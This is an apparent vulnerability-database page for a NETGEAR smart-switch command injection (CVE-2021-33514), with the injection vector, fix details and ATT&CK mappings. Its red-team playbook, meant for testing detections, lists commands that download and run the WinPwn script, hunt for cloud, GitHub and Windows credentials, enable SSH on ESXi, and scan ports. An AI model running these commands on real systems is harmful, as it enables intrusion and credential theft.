CVE-2021-33514

CRITICAL Pub 21/05 Upd 03/08

Overview

This vulnerability is a command injection flaw arising from improper input validation in the /sqfs/lib/libsal.so.0.0 library utilized by a CGI application on certain NETGEAR smart switches. The root cause is the unsafe handling of user-supplied input within the User-Agent HTTP header, which is executed by the setup.cgi script without sanitization. Multiple firmware versions across various NETGEAR switch models incorporate this vulnerable component, enabling injection of arbitrary OS commands.

Vulnerability Description

Certain NETGEAR devices are affected by command injection by an unauthenticated attacker via the vulnerable /sqfs/lib/libsal.so.0.0 library used by a CGI application, as demonstrated by setup.cgi?token=';$HTTP_USER_AGENT;' with an OS command in the User-Agent field. This affects GC108P before 1.0.7.3, GC108PP before 1.0.7.3, GS108Tv3 before 7.0.6.3, GS110TPPv1 before 7.0.6.3, GS110TPv3 before 7.0.6.3, GS110TUPv1 before 1.0.4.3, GS710TUPv1 before 1.0.4.3, GS716TP before 1.0.2.3, GS716TPP before 1.0.2.3, GS724TPPv1 before 2.0.4.3, GS724TPv2 before 2.0.4.3, GS728TPPv2 before 6.0.6.3, GS728TPv2 before 6.0.6.3, GS752TPPv1 before 6.0.6.3, GS752TPv2 before 6.0.6.3, MS510TXM before 1.0.2.3, and MS510TXUP before 1.0.2.3.

Impact

An unauthenticated attacker with network access can execute arbitrary operating system commands on affected NETGEAR smart switches by exploiting this command injection vulnerability. This can lead to complete device compromise, unauthorized configuration changes, or disruption of network services. The attack requires no user interaction and leverages the HTTP User-Agent header, as indicated by the CVSS vector (AV:A/AC:L/PR:N/UI:N), highlighting low attack complexity and no privileges required.

Solution

NETGEAR has released security updates addressing this vulnerability in firmware versions 1.0.7.3 or later for GC108P and GC108PP, 7.0.6.3 or later for GS108Tv3 and GS110TP series, and corresponding updated versions for other affected models as detailed in advisory PSV-2021-0071 (https://kb.netgear.com/000063641). Users should apply the latest firmware updates for their specific device models as listed in the advisory. No alternative workarounds are provided; refer to the vendor advisory for detailed patching instructions.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability affecting certain NETGEAR devices is characterized by a command injection flaw that allows unauthenticated attackers to execute arbitrary commands on the underlying operating system. This issue arises from improper handling of user input within the CGI application, specifically through the vulnerable library utilized by the devices. By manipulating the User-Agent field in HTTP requests, an attacker can inject malicious commands, leading to unauthorized access and control over the device. The affected models include various switches and access points, which are commonly deployed in both enterprise and home environments, making this vulnerability particularly concerning.

Exploitation of this vulnerability can occur through straightforward HTTP requests, where an attacker crafts a request to the setup.cgi endpoint with a specially crafted User-Agent string. This attack vector does not require any form of authentication, significantly lowering the barrier for exploitation. Once successful, an attacker could gain control over the device, potentially allowing them to alter configurations, intercept network traffic, or pivot to other devices within the same network. The simplicity of the attack method, combined with the high potential impact, makes this vulnerability a prime target for malicious actors.

The real-world implications of this vulnerability are substantial, particularly for organizations that rely on NETGEAR devices for their networking infrastructure. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of network services. Additionally, the potential for lateral movement within a network poses a significant business risk, as attackers may leverage compromised devices to access more critical systems. The financial repercussions could be severe, encompassing both direct costs associated with remediation and indirect costs related to reputational damage and loss of customer trust.

To address this vulnerability, organizations should prioritize detection and mitigation strategies. Regularly updating firmware to the latest versions released by NETGEAR is crucial, as these updates often include patches for known vulnerabilities. Network monitoring tools should be employed to detect unusual traffic patterns or unauthorized access attempts, particularly targeting the affected devices. Implementing strict access controls and network segmentation can also help minimize the risk of exploitation by limiting the exposure of vulnerable devices to untrusted networks. Additionally, organizations should conduct regular security assessments to identify and remediate potential vulnerabilities before they can be exploited.

In conclusion, the command injection vulnerability in certain NETGEAR devices presents a significant threat to both individual users and organizations. The ease of exploitation, combined with the potential for severe consequences, necessitates immediate attention from cybersecurity professionals. By adopting proactive measures, including timely firmware updates and robust network security practices, organizations can mitigate the risks associated with this vulnerability and protect their critical assets from unauthorized access and control.

Affected Products (17)

Vendor Product Version CPE
netgear Netgear Gc108p Firmware All cpe:2.3:o:netgear:gc108p_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gc108pp Firmware All cpe:2.3:o:netgear:gc108pp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs108t Firmware All cpe:2.3:o:netgear:gs108t_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs110tpp Firmware All cpe:2.3:o:netgear:gs110tpp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs110tp Firmware All cpe:2.3:o:netgear:gs110tp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs110tup Firmware All cpe:2.3:o:netgear:gs110tup_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs710tup Firmware All cpe:2.3:o:netgear:gs710tup_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs716tp Firmware All cpe:2.3:o:netgear:gs716tp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs716tpp Firmware All cpe:2.3:o:netgear:gs716tpp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs724tpp Firmware All cpe:2.3:o:netgear:gs724tpp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs724tp Firmware All cpe:2.3:o:netgear:gs724tp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs728tpp Firmware All cpe:2.3:o:netgear:gs728tpp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs728tp Firmware All cpe:2.3:o:netgear:gs728tp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs752tpp Firmware All cpe:2.3:o:netgear:gs752tpp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Gs752tp Firmware All cpe:2.3:o:netgear:gs752tp_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ms510txm Firmware All cpe:2.3:o:netgear:ms510txm_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ms510txup Firmware All cpe:2.3:o:netgear:ms510txup_firmware:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
65% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
47%
High High
CAPEC-6 Argument Injection
46%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-33514
kb.netgear.com
GitHub CVE x_refsource_MISC
https://kb.netgear.com/000063641/Security-Advisory-for-Pre-Authentication-Command-Injection-Vulnerability-on-Some-Smart-Switches-PSV-2021-0071
gynvael.coldwind.pl
GitHub CVE x_refsource_MISC
https://gynvael.coldwind.pl/?lang=en&id=733